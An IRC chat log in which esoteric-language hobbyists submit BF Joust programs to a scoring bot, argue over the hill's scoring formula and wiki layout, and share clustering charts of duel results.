01:27:15 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 16.7
01:27:39 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128
01:27:44 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5
01:28:12 <Sgeo> !bfjoust does_this_parse ([)*5(])*5
01:28:12 <elliott> ...
01:28:14 <quintopia> i've never bother to look up where the whole "2: electric boogaloo" meme came from...
01:28:15 <elliott> quintopia: ^ wat
01:28:19 <elliott> quintopia: Breakin' 2
01:28:23 <EgoBot> Score for Sgeo_does_this_parse: 3.5
01:28:24 <elliott> (: Electric Boogaloo)
01:28:28 <elliott> <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5
01:28:29 <elliott> wat
01:28:44 <elliott> 29 25 32.06 -1.76 elliott_interior_crocodile_alligator.bfjoust
01:28:44 <elliott> 30 26 30.42 -11.55 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust
01:28:47 <Sgeo> Are breakdown.txt's Mercurialed?
01:28:48 <elliott> -1.76, just one above -11.55
01:28:58 <quintopia> Sgeo: no
01:29:07 <Sgeo> Well, that sucks. Sorry elliott
01:29:17 <quintopia> by which i mean maybe, but i don't know how to get at them
01:29:26 <Gregor> They're not.
01:29:35 <quintopia> and the evolved programs all fell off the hill because they sucke
01:29:54 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
01:30:01 <EgoBot> Score for elliott_interior_crocodile_alligator: 32.0
01:30:15 <elliott> Is that better or worse :P
01:30:31 <elliott> Worse.
01:30:38 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128[-]
01:30:43 <EgoBot> Score for elliott_interior_crocodile_alligator: 30.8
01:30:48 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128
01:30:48 <Sgeo> I shoud learn %
01:30:55 <elliott> Sometimes BF Joust does not obey the rules of logic.
01:30:55 <EgoBot> Score for elliott_interior_crocodile_alligator: 31.9
01:31:02 <elliott> ...
01:31:06 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
01:31:12 <EgoBot> Score for elliott_interior_crocodile_alligator: 32.0
01:31:17 <elliott> W/E
01:31:27 <elliott> quintopia: So how do you do against careless programs now in the 'vator
01:37:44 -!- nik340 has joined.
01:38:25 <nik340> hey
01:38:53 <Sgeo> Hi nik340
01:40:09 -!- nik340 has left (?).
01:40:41 <quintopia> !bfjoust space_elevator http://sprunge.us/FJEX
01:40:49 <quintopia> let's find out!
01:41:38 * Sgeo refrains from putting in a silly program
01:42:06 <EgoBot> Score for quintopia_space_elevator: 59.6
01:42:08 <Sgeo> Oh come on, you removed z languages, then you have to remove a?
01:42:37 <elliott> quintopia: is that 1_3?
01:42:45 <elliott> ah, no
01:42:49 <elliott> bai
01:42:50 -!- elliott has quit (Quit: Leaving).
01:43:29 <Sgeo> "board is 12 wide" how can you know that?
01:44:13 -!- elliott has joined.
01:44:17 <elliott> 01:37:58 <GregorR-L> Heh, I added a bunch of impomatic's back, and now ehird_defend8 is at the top :P
01:44:19 <elliott> guess it was mine
01:44:21 <elliott> also
01:44:23 <elliott> 01:40:05 <Patashu> the bigger the hill is the more accurate it ought to be
01:44:25 <elliott> 01:40:14 <Patashu> there isn't really an objective metric of how good a program is
01:44:27 <elliott> 01:41:59 <GregorR-L> Yeah, and I like my score, it would just be tastier if it was a fixed point algo :P
01:44:29 <elliott> 01:42:57 <Patashu> (wins-losses)/number of characters in source
01:44:32 -!- elliott has quit (Remote host closed the connection).
01:44:43 <quintopia> wtf
01:44:49 <quintopia> that kid...
01:45:15 -!- nik340 has joined.
01:45:30 -!- nik340 has left (?).
01:46:03 <Gregor> I did want to find a decent fixed-point algo for the scores.
01:46:08 <Gregor> Never found one though.
01:46:54 <Sgeo> !bfjoust comment comment
01:47:03 <EgoBot> Score for Sgeo_comment: 3.5
01:47:17 <Sgeo> INFINITY POINTS
01:47:54 <Sgeo> Well, more like negative infinity. And not counting comments as characters
01:49:27 <quintopia> Gregor: you mean an iterative thing? something with an exponent that converges?
01:50:48 <Gregor> I'm not sure exactly, it's just that basing the scores off the points is one level of abstraction: You get a good score for beating programs that beat a lot of programs, but you don't get a good score for beating programs that beat a few programs that beat a lot of programs ...
01:51:14 <Gregor> If I could trickle points through further, but somehow guarantee termination ...
01:52:47 <quintopia> !bfjoust space_elevator http://sprunge.us/Ndhb
01:52:59 <EgoBot> Score for quintopia_space_elevator: 60.4
01:54:26 <cheater00> Gregor: what's an example of a situation that would not terminate?
01:54:57 -!- comex has joined.
01:55:24 <Gregor> cheater00: If I just took my current algo and looped it, replacing "points" in the current iteration with "score" in the previous iteration, it not only would not likely reach fixed point, but would just push everything to useless extremes.
01:56:01 <quintopia> Gregor: use the whole inductive tree! compute worth for every pair by their score with each other. then for every pair of pairs using the worth of the previous level, then for every pair of quads using the pairs of pairs worth, etc. it'll take a lot of steps but it's all mindless arithmetic, so it should still be reasonably quick
01:56:16 <cheater00> no idea what you are referring to sorry
01:56:35 <Gregor> quintopia: Ohhhh, that's clever. Exponential, but clever.
01:57:06 <Gregor> Wait, is it exponential? I guess not, just fairly expensive :P
01:57:19 <quintopia> Gregor: it's not exponential time. it's like huge, but not exponential
01:57:38 <quintopia> Gregor: why did you decide that programs wouldn't be punished for losing?
01:58:01 <Gregor> quintopia: Losing is uninteresting.
01:58:39 <quintopia> but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable?
01:58:58 <Gregor> Umm ... maybe? I don't think so, I think it will usually diverge.
01:59:11 <Gregor> That is, I think it will usually diverge whether you do or don't punish.
02:00:18 <quintopia> ah
02:02:16 <quintopia> i have good news though! the canonical shudder program has been pushed off the board tonight!
02:02:21 <Gregor> Yay
02:02:32 <quintopia> good_vibrations is still kicking more ass than it has a right to tho :P
02:03:48 <quintopia> also, somehow, in all the madness, the turtles have now advanced ahead of the philips...
02:04:19 <quintopia> Gregor: did you see my sketch of philip the careless turtle?
02:04:35 <Gregor> Uhh, no X-D
02:04:36 <quintopia> or was it careless philip the turtle
02:05:34 <quintopia> http://imgur.com/yQN9j
02:05:38 <quintopia> there you go
02:06:49 <Gregor> Can't decide if he's more care-less or care-free :P
02:08:16 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
02:10:45 <Sgeo> Woohoo
02:12:46 -!- sgeo_ has joined.
02:13:03 <sgeo_> Moving windows around is a bit rough
02:13:18 <sgeo_> And this window doesn't have Win7 edges.. although that should be obvious really
02:14:41 -!- sgeo_ has quit (Client Quit).
02:16:43 <quintopia> Gregor: why did you used to be GregorR-L?
02:16:59 <Sgeo> He used to have a life
02:17:14 <Gregor> quintopia: I was GregorR, and I didn't used to have a bouncer, so I'd be -L on my laptop, -W at work, etc.
02:17:48 -!- p_q has quit (Quit: This computer has gone to sleep).
02:19:21 <quintopia> Gregor: i have another idea for a scoring system that should be a bit more stable.
02:19:36 <Gregor> The scoring system isn't unstable :P
02:19:52 <quintopia> well, listen to the idea first and tell me what you think
02:20:29 <Gregor> Yeahyeah, go ahead, just arguing with your adjective :P
02:20:57 <quintopia> for each tape length and polarity, rank all the programs in order based on how many programs they beat at that length, and then add up the rankings and divide by 42 to get the final ranking.
02:21:18 <quintopia> ties all get the highest rank possible
02:22:16 <quintopia> this would also let you generate rankings for "best on short tapes" "best on kettle" etc.
02:23:02 <Gregor> Yeah, but the whole point of the current score system is that it's more interesting if you beat /good/ programs than /bad/ programs, whereas that gives you just as much credit for beating garbage as gold ...
02:23:05 <Sgeo> Best on Kettle only is in terms of what the hill happens to be
02:24:27 <Sgeo> !bfjoust rush10 (>)*9(-)*128
02:25:00 <Sgeo> I'm sure it's been submitted before
02:25:04 <EgoBot> Score for Sgeo_rush10: 0.5
02:25:13 <Sgeo> Awesomly small score
02:25:54 <Sgeo> I won in length 10 against Deewiant_sloth
02:26:04 <Sgeo> Gregor_return_of_ehird_defend8mwahahaha.bfjoust vs Sgeo_rush10.bfjoust:
02:26:04 <Sgeo> ><><><><><><><><><><> >>><><><><><><><><><> >>><><><><><><><><><> ><><><><><><><><><><>
02:26:04 <Sgeo> Sgeo_rush10.bfjoust wins
02:26:14 <Sgeo> That's just fricken awesome
02:26:46 <Sgeo> Why does julius_freezer suck so much?
02:27:08 <quintopia> Gregor: not if you don't assign a linear value to the rankings. you can assign a fixed nonlinear sequence to the rankings, sort of like the scoreboard on WWTBAM...each harder program you beat gets you more points than the last
02:27:20 <Sgeo> I won against a bunch of ais523 defenders LOL
02:28:14 <quintopia> Sgeo: that's because you won on the shortest tape length and never triggered their trip wires on the long ones.
02:28:24 <quintopia> therefore drawing on all those rounds
02:29:08 <Gregor> quintopia: I'm trying to figure out how that differs from mine if you just assign based on points ...
02:29:11 <Sgeo> That's only for 10 and 12
02:29:12 <Gregor> Errr, that wasn't well put.
02:29:18 <Gregor> But still :P
02:29:20 <Sgeo> and 7 and definder
02:29:39 <Sgeo> Against defider2, I won on length 11
02:29:40 <Sgeo> WTF
02:31:35 <quintopia> Gregor: well the difference is that when you beat a high scoring warrior, its worth (and your derived score from it) are no longer dependent on what it's worth was in points, but merely on its ranking, and you can fix the value of each ranking to be whatever you like so it's not so unpredictable
02:31:42 -!- roconnor has joined.
02:31:56 <Gregor> Ohhhhhhhhhhhhhhhhhhh
02:46:04 <Gregor> Wow, how has mapping_turtle went back above the philips
02:46:56 <quintopia> 21:27 < quintopia> also, somehow, in all the madness, the turtles have now advanced ahead of the philips...
02:47:07 <quintopia> if i knew, i'd have said then
02:48:06 <Gregor> I do not so carefully read backlog :P
02:48:11 <Gregor> In fact, I carefully don't read backlog.
02:49:31 -!- nik340 has joined.
02:50:25 -!- nik340 has left (?).
02:54:10 <Gregor> quintopia: Where's the poke explanation :P
02:54:25 <Gregor> I suppose I could make a micropoke *shrugs*
02:55:31 <Gregor> !bfjoust micropoke (>)*9([ (<)*8(+)*85<(-)*85(>)*9 ([-]>)*21 ]>)*21
02:56:27 <EgoBot> Score for Gregor_micropoke: 14.1
02:56:46 <Gregor> OK, sufficiently bad.
02:56:54 <quintopia> i explained it!
02:56:57 <quintopia> on the wiki!
02:57:14 -!- Herobrine has quit (Ping timeout: 240 seconds).
02:57:16 <Gregor> Uhh ... where?
02:57:40 -!- augur has joined.
02:58:08 <quintopia> third strategy on the page?
02:58:23 <Gregor> OH
02:58:27 <Gregor> It's stuck in the middle :P
02:58:39 <Gregor> I was thinking that more complicated strategies should be later.
02:59:46 <quintopia> the whole bottom of that section was about rushing styles
02:59:53 <quintopia> substrategies
03:00:02 <quintopia> i mean
03:00:07 <quintopia> ways of clearing
03:00:13 <quintopia> poke is not a way of clearing
03:00:25 <Gregor> Yeah, so poke should be AFTER all of those (IMHO)
03:00:26 <quintopia> maybe "clearing" should be its own section
03:00:30 <Gregor> Or maybe those should all be com---yeah
03:01:37 <quintopia> oh i know
03:02:01 <quintopia> we could subdivide the attack section into "beginning game" "midgame" and "endgame" sections
03:02:23 <quintopia> beginning game is rule-of-nine, poke, decoy placement order
03:02:28 <quintopia> midgame is decoy sizing
03:02:34 <quintopia> end game is clearing
03:02:47 <quintopia> bbiab
03:02:48 <Gregor> Think of it from the perspective of a reader: What you really need is things that are easy to understand, then why those fail and more interesting things, all the way to advanced strategy, regardless of where those fall in a game. I think.
03:03:05 <Gregor> s/a reader/a newbie reader/
03:04:07 -!- nik340 has joined.
03:04:40 -!- nik340 has left (?).
03:10:01 <quintopia> Gregor: nah dog. that's disorganized. they should be arranged in order of complexity, sure, but we can subdivide and still have them arranged that way in each section
03:10:27 <Gregor> Hmm hmm hmm.
03:10:32 <quintopia> so a noob can read the first part in each section and instantly put together a warrior
03:10:50 <quintopia> and then read down further in each section to make it better
03:11:06 <Gregor> I'm wondering how confusing it would be to order it end game, middle game, beginning.
03:11:15 <Gregor> Since the end game is what newbies will understand the best.
03:11:29 <quintopia> that's fine too
03:11:35 <quintopia> go fer it
03:11:46 <Gregor> Why do I have to go fer it, it was your idea X-P
03:12:09 <quintopia> i'm on my phone and about to shower. maybe later.
03:15:11 -!- Herobrine has joined.
03:20:38 <quintopia> herro, brine!
03:20:59 <Gregor> Mmmmm, sugar-acid-water.
03:21:12 <quintopia> mmmmm pickles
03:26:57 <Gregor> The news crew feels the heat wave from the magic balloon. Levies from liquid petroleum fire sumo are hotter than mashed potatoes, making them much hotter than boiling lava, making them very stupid.
03:44:49 <quintopia> where did that come from?
03:45:54 <Sgeo> I have a weird imagination. Except for fantasies, my internal stories are never set in the real world
03:46:38 <quintopia> become a novelist
03:46:49 <Gregor> quintopia: A YouTube Poop :P
03:47:01 <Sgeo> The central character (me most of the time) would be too Mary Suish
03:47:05 <Gregor> Part of the series which collectively is the canonical YouTube Poop
03:47:43 <quintopia> never heard of it
03:48:05 <Gregor> >: )
03:48:24 <Sgeo> I'm the first to fight God in one of them, and lead a virtual army in another
03:48:40 <quintopia> ah
03:48:46 <quintopia> write fanfic
03:49:01 <Sgeo> lol
03:49:15 <Gregor> quintopia: Step one, watch source material: http://www.youtube.com/watch?v=bNpLXo55yfw , http://www.youtube.com/watch?v=9mHw5g55oC4 , http://www.youtube.com/watch?v=-Dv_DXqdC9k (there's TONS more source material, but these are the important ones)
03:49:34 <Gregor> quintopia: Step two, BEHOLD WHAT IS DONE WITH IT: http://www.youtube.com/watch?v=Kq_mk9QisP0
03:58:54 -!- poiuy_qwert has joined.
04:00:31 <quintopia> gregor: WTF
04:01:28 <Gregor> 8-D
04:01:35 * Gregor wonders which part quintopia is to and so wtfing at :P
04:01:45 <quintopia> the whole thing
04:02:16 <quintopia> you know what they say..........about.......its wtfness levels.............................
04:02:25 <Gregor> IT IS SO GOOD
04:02:40 <Gregor> OVER NINE THOUSAND toasters for YOU, who above all desire toast!
04:03:33 <Sgeo> The source is WTF enough
04:03:51 <Gregor> But the source is a legit (well, legitish) commercial game :P
04:03:56 <Gregor> (Three, actually)
04:04:57 <quintopia> by legitish, you mean BADLY ANIMATED
04:05:05 <Gregor> By legitish I mean sold :P
04:05:11 <Gregor> But the animation and voice acting are abominably bad.
04:05:15 <Gregor> Which of course is why they use it :P
04:06:12 <Sgeo> I WANT TOAST
04:06:20 <Sgeo> ^^not aquote
04:15:42 <quintopia> hmmmm
04:18:55 <quintopia> i think (-.)*256.(-..)*256[-..] on the flag is p much guaranteed to beat it.
04:26:08 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear(>)*9(-.)*256.(-..)*256[-..]
04:26:08 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
04:26:13 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear (>)*9(-.)*256.(-..)*256[-..]
04:26:23 <EgoBot> Score for Sgeo_braindead_rush10_w_quintopia_clear: 0.6
04:26:42 <Sgeo> That's just sad
04:26:56 <Sgeo> I win against julius freezer on length 10
04:27:03 <Sgeo> Why am I not surprised?
04:27:22 <Gregor> FREAKING SPACE ELEVATOR
04:27:26 <Sgeo> Sgeo_braindead_rush10_w_quintopia_clear.bfjoust vs ais523_speedy2.bfjoust:
04:27:27 <Sgeo> >>>>>>>>>>X>>XXX>>>XX >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>X>>XXX>>>XX
04:27:27 <Sgeo> ais523_speedy2.bfjoust wins
04:27:36 <Sgeo> Those are some really weird ties
04:32:17 -!- copumpkin has joined.
04:32:22 <quintopia> sgeo
04:32:27 <quintopia> i miswrote it
04:32:54 <quintopia> the final clear should be [[-..]]
04:33:04 <quintopia> to take out shudder just in case
04:33:17 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear2 (>)*9(-.)*256.(-..)*256[[-..]]
04:33:27 <EgoBot> Score for Sgeo_braindead_rush10_w_quintopia_clear2: 0.7
04:33:32 <Sgeo> lol
04:33:46 <Sgeo> That is perfect
04:35:20 <quintopia> it won on all length 10 tapes?
04:36:28 <Sgeo> No
04:36:43 <quintopia> which ones beat it?
04:36:48 <Sgeo> As in, I find it oddly appropriate that that minor improvement boosted exactly 0.1 points
04:37:09 <Sgeo> elliott_snorlax beat it on length 10
04:37:13 <Sgeo> Tieed on length 30
04:37:19 <quintopia> hrm
04:37:29 <Sgeo> Read breakdown.txt
04:37:40 <Sgeo> Wait
04:37:46 <Sgeo> I was looking at the wrong tab
04:38:03 <Sgeo> What I said stands
04:38:17 -!- Sgeo_ has joined.
04:38:34 <Sgeo> I did seem to win a lot of length 10 tapes
04:38:51 <quintopia> yeah, seems like it
04:38:52 <Gregor> !bfjoust aspartame_philip http://sprunge.us/SjZO
04:39:01 <EgoBot> Score for Gregor_aspartame_philip: 31.3
04:39:05 -!- Sgeo_ has quit (Client Quit).
04:39:09 <Gregor> lawl
04:39:18 <Gregor> That was definitely worse than I anticipated :P
04:39:34 <quintopia> gregor: where does the name sugar philip come from
04:40:11 <Gregor> quintopia: I'm sure you can think up a plausible source :P
04:40:30 <Gregor> !bfjoust aspartame_philip http://sprunge.us/ZBVV
04:40:37 <EgoBot> Score for Gregor_aspartame_philip: 30.6
04:40:43 <Gregor> !bfjoust aspartame_philip <
04:40:51 <Gregor> Will have to try my luck again tomorrow.
04:41:05 <EgoBot> Score for Gregor_aspartame_philip: 0.0
04:41:20 <Sgeo> Gregor likes filling up on sugary drinks of his own invention.
04:44:31 <quintopia> gregor: a flaw in the current scoring scheme is that a program that just barely loses to another program cannot get any more points by that fact than one that is completely demolished
04:45:24 <Sgeo> Should winning a majority, but not all, tape lengths be allowed to be a valid strategy?
04:45:42 <Sgeo> That was intended as an argument against what quintopia was saying, but it turned into an argument for
04:46:14 <quintopia> the answer is, of course, yes
04:46:23 <quintopia> :)
04:47:15 <Sgeo> therefore, quintopia is self loathing. Q.E.D.
04:48:19 <quintopia> it should be a valid strategy, but close matches should give some benefit to the loser who nearly pulled it out eh?
04:49:18 <Sgeo> What I'm saying is your scheme would punish those "half of the tape lengths" programs. Which I think could be a good thing
04:51:59 <quintopia> not punish....they already don't get as much benefit for winning under the current system
04:52:12 <Sgeo> Ah
04:53:21 <Gregor> quintopia: Yeah, but a program that barely wins gets virtually no score from that, so it's continuous.
04:54:55 <quintopia> Gregor: continuous would be assigning 1 point per match and distributing it according to win/loss record. it's very discontinuous now
04:55:46 <Gregor> quintopia: It IS one point per match, and it IS distributed per win/loss record. If your overall score against an opponent is 1, you get 1/84 * their points.
04:55:47 <quintopia> well maybe not
04:56:01 <Gregor> s/overall score/joust points/
04:56:13 <quintopia> ah okay
04:56:45 <quintopia> i forgot that you did wins-losses for the winner and that that normalizes it
04:58:53 <Gregor> I really think the current system is pretty good, I simply don't like that it isn't fixed-point :P
04:59:45 <quintopia> it is quite good
04:59:52 <quintopia> just hard to understand
05:00:16 <Gregor> I find it easy to understand X-P
05:00:45 <quintopia> i understand now why there is no penalty for losing
05:02:09 <quintopia> that would discourage tweaking programs so that they lose less often, because it would drive down the scores of the opponents that beat them, lowering their worth, and thereby offsetting as much value as the tweak created
05:15:54 -!- asiekierka has joined.
05:28:48 -!- nik340 has joined.
05:29:11 -!- nik340 has left (?).
05:43:41 <fizzie> Bah, -21 degrees Celsius (-6 °F) outside. Where's my global warming now, huh? Maybe I'll just not get out of bed.
05:48:08 -!- impomatic has joined.
05:54:40 <quintopia> hello impomatic
05:54:46 <impomatic> Hi :-)
05:55:06 <impomatic> !bfjoust moonbeam http://corewar.co.uk/2.txt
05:55:15 <EgoBot> Score for impomatic_moonbeam: 26.0
05:55:22 -!- asiekierka has quit (Ping timeout: 272 seconds).
05:56:34 -!- sftp has quit (Remote host closed the connection).
05:56:48 <Sgeo> impomatic, o.O at you controlling Core Wars?
05:58:58 <impomatic> Sgeo: only corewar.co.uk but I have a top secret evil plan that involves taking over the others!
05:59:16 <Sgeo> What's the official site? That site, or some other site?
05:59:20 <Sgeo> Or is there no official site?
06:02:02 <quintopia> !bfjoust space_elevator http://sprunge.us/Xjif
06:02:25 <impomatic> No official site. The main sites are http://corewar.co.uk http://corewar.info http://koth.org http://users.obs.carnegiescience.edu/birk/COREWAR/koenigstuhl.html and http://sal.math.ualberta.ca
06:02:44 <EgoBot> Score for quintopia_space_elevator: 63.1
06:02:58 <quintopia> hmm. that's a surprisingly big jump for such a small change
06:03:12 <impomatic> !bfjoust changelink http://corewar.co.uk/2.txt
06:03:34 <Sgeo> Is pMARS more up to date than CoreWin?
06:03:39 <EgoBot> Score for impomatic_changelink: 23.8
06:03:55 <quintopia> impomatic: neon_glow is caput!
06:04:39 <impomatic> Quintopia: nice score :-) Neon_glow isn't anything special. I'm surprised it survived so long.
06:05:41 <impomatic> Sgeo: the only real difference is CoreWin has a GUI and tournament scheduler built in.
06:06:00 <quintopia> impomatic: don't you wish we had bf melee? with a circular tape and all the warriors fighting at once?
06:06:57 <impomatic> quintopia: might be fun. No more worries about falling off the tape :-)
06:07:47 <quintopia> instead you have to worry about the other warriors coming from each direction, and the fact that you have to get farther and farther away from your flag as the battle goes on (if you're rushing)
06:09:07 <impomatic> It'd be possible to defend a cell on each side of your flag
06:11:36 <quintopia> seems unlikely but you've just given me an idea >_>
06:11:51 <quintopia> (for bf joust)
06:14:02 <impomatic> :-)
06:14:38 <impomatic> I wonder if it's the same idea I've just had? :-P
06:15:38 <quintopia> i can't actually see how to flesh out my idea at the moment
06:17:30 <quintopia> i thought it might be possible to get a 3-cycle clear stuck on one decoy and a 2-cycle clear stuck on your flag by picking its size just right, and bumping both because you can't tell which one it is on.
06:17:43 <quintopia> however, it involves deducing the offset size probably
06:17:47 <quintopia> what is your idea?
06:18:28 <impomatic> Not the same... just defending two cells, one with + the other with -
06:20:26 <impomatic> !bfjoust zapdos http://corewar.co.uk/2.txt
06:20:38 <EgoBot> Score for impomatic_zapdos: 20.1
06:21:55 <quintopia> that looks like it's still defending the flag
06:22:18 <impomatic> !bfjoust mewtwo http://corewar.co.uk/2.txt
06:22:28 <impomatic> Should be the cell after the flag
06:22:33 <quintopia> oh
06:22:38 <EgoBot> Score for impomatic_mewtwo: 19.1
06:22:44 <quintopia> either way, it's only defending one cell, yes?
06:22:53 <quintopia> and doing so without any control flow?
06:23:12 <impomatic> I haven't tried the two cell thing yet... Just trying some other simple ideas (which ais523 probably already tried)
06:23:21 <impomatic> No control flow :-)
06:25:04 <quintopia> did you see definder?
06:27:36 <impomatic> Not yet. I try not to look at how other stuff works
06:28:05 <impomatic> !bfjoust venusaur http://corewar.co.uk/2.txt
06:28:19 <EgoBot> Score for impomatic_venusaur: 21.2
06:29:22 <quintopia> you must love pokemanz
06:29:57 <impomatic> Not really. I'm stuck for names!
06:31:19 <quintopia> why don't you look at what other people do?
06:35:12 <impomatic> Because once I've seen the code it'll affect what I write afterwards. I'll take a look when I run out of ideas :-)
06:36:39 <quintopia> huh
06:36:45 -!- nik340 has joined.
06:36:52 <quintopia> i can't see it affecting what you write in a *bad* way
06:36:56 <quintopia> it may even inspire you
06:37:29 <quintopia> it means you can't even use egojsout! man, you're missing out :/
06:37:44 <impomatic> !bfjoust moonbeam (>)*8[>]([-]>)*22
06:37:52 -!- nik340 has left (?).
06:37:53 <EgoBot> Score for impomatic_moonbeam: 7.9
06:39:35 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-])*21
06:39:47 <EgoBot> Score for impomatic_moonbeam: 8.7
06:39:55 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-])*21
06:40:28 <EgoBot> Score for impomatic_moonbeam: 10.8
06:41:22 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][---.])*21
06:41:31 <EgoBot> Score for impomatic_moonbeam: 15.4
06:41:37 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][+++.])*21
06:41:54 <EgoBot> Score for impomatic_moonbeam: 14.8
06:43:40 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-.][-..][-...][-....])*21
06:44:01 <EgoBot> Score for impomatic_moonbeam: 13.7
06:44:25 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
06:44:48 <quintopia> lol
06:50:44 -!- FireFly has joined.
07:40:31 <fizzie> Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:42 -!- Slereah has quit (Ping timeout: 240 seconds).
08:15:27 <quintopia> !bfjoust space_elevator http://sprunge.us/HHKX
08:15:48 -!- Slereah has joined.
08:18:08 <EgoBot> Score for quintopia_space_elevator: 65.6
08:18:35 -!- GreaseMonkey has quit (Quit: The Other Game).
08:24:51 -!- pikhq_ has joined.
08:24:54 -!- pikhq has quit (Ping timeout: 260 seconds).
08:25:25 -!- cheater00 has quit (Ping timeout: 240 seconds).
08:27:05 -!- cheater00 has joined.
08:28:59 -!- pingveno has quit (Ping timeout: 260 seconds).
08:30:47 -!- pingveno has joined.
08:46:00 <quintopia> !bfjoust space_elevator http://sprunge.us/aaQF
08:46:13 <EgoBot> Score for quintopia_space_elevator: 65.6
08:47:06 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
08:48:45 -!- poiuy_qwert has joined.
08:52:19 <quintopia> !bfjoust space_elevator http://sprunge.us/ZBdK
08:52:28 <EgoBot> Score for quintopia_space_elevator: 65.7
09:04:02 <quintopia> !bfjoust space_elevator http://sprunge.us/VcMe
09:04:29 <EgoBot> Score for quintopia_space_elevator: 66.0
09:07:05 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
09:08:41 -!- poiuy_qwert has joined.
09:17:05 <quintopia> meh. i can't see any way to beat saccharin_philip with this variation
09:17:52 <quintopia> the only way to beat is have more decoys, because it doesn't care how big they are, but the decoys it builds for itself are huge
09:27:04 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
09:28:40 -!- poiuy_qwert has joined.
09:42:37 -!- Slereah has quit (Ping timeout: 272 seconds).
09:46:14 <fizzie> Dabbled a bit with results-getting, so here's the report.txt table (from an old hill) with red = '+', blue = '-', grey = '0', except it gives in-between shades where the duel points are not max/min/zero.
09:46:19 <fizzie> http://zem.fi/~fis/dpoints.png
09:47:04 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
09:48:40 -!- poiuy_qwert has joined.
10:07:03 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:08:43 -!- poiuy_qwert has joined.
10:27:02 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:28:39 -!- poiuy_qwert has joined.
10:47:02 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:48:42 -!- poiuy_qwert has joined.
10:49:47 -!- ais523 has joined.
11:07:01 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:08:39 -!- poiuy_qwert has joined.
11:22:22 <ais523> umm, http://www.reddit.com/r/programming/comments/fk80r/is_perl_really_a_joke_language/
11:24:13 <ais523> reddit are complaining that the joke languages list doesn't list, e.g., INTERCAL or Brainfuck
11:24:20 <ais523> we should make the purpose of the list clearer
11:24:27 <ais523> and, probably, remove Perl, which is only there as a joke
11:24:52 <Deewiant> It already got removed
11:24:54 <Deewiant> http://esolangs.org/w/index.php?title=Joke_language_list&diff=21130&oldid=20883
11:25:23 <fizzie> ais523: Here's a hierarchical-clustering-dendrogram thing computed using the pairwise distance function "sum of differences in duel results (+1, 0, -1) for all shared opponents": http://zem.fi/~fis/clust.png
11:25:36 <ais523> yep
11:25:44 <ais523> I should clarify the purpose of the page, though
11:26:41 -!- Herobrine has quit (Ping timeout: 245 seconds).
11:26:57 <ais523> also, why is LOLCODE in that list?
11:27:00 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:27:07 <fizzie> It seems to think that (quintopia_one_o_them_shudder_thangs, quintopia_good_vibrations) and (Gregor_julius_freezer, Deewiant_sloth) are two pairs of programs that are most similar to each other; while ais523_large_decoy_attack is the strangest.
11:27:08 <ais523> it should be in the main one, much as everyone hates it
11:27:44 <ais523> interesting that chainmail was lumped with defend10 rather than defend7
11:28:21 <ais523> what determines the color scheme?
11:28:28 <fizzie> I have no idea at all.
11:28:36 -!- poiuy_qwert has joined.
11:29:56 <fizzie> "Colors all the descendent links below a cluster node k the same color if k is the first node below the cut threshold t. All links connecting nodes with distances greater than or equal to the threshold are colored blue." + default t of 0.7*max(distance).
11:31:03 <fizzie> So it's basically just a single threshold (of 0.7*max), and those multi-node clusters that are completely below it get their own color.
11:33:13 -!- poiuy_qwert has quit (Ping timeout: 250 seconds).
11:36:45 <fizzie> This was done using the nearest-point thing, where for clusters u, v we have d(u, v) = min_{i \in u, j \in v} d(x_i, x_j); it would probably look rather different for different distance measurements.
11:37:38 <fizzie> http://zem.fi/~fis/clust2.png -- averaged distances instead of min.
11:38:46 <fizzie> Still considers chainmail with defend10, but at least all defends (+ chainmail) are in a single cluster now.
11:39:04 <ais523> question: TURKEY BOMB: esolang, or joke esolang>
11:39:20 <ais523> I fear it's too underspecified to tell
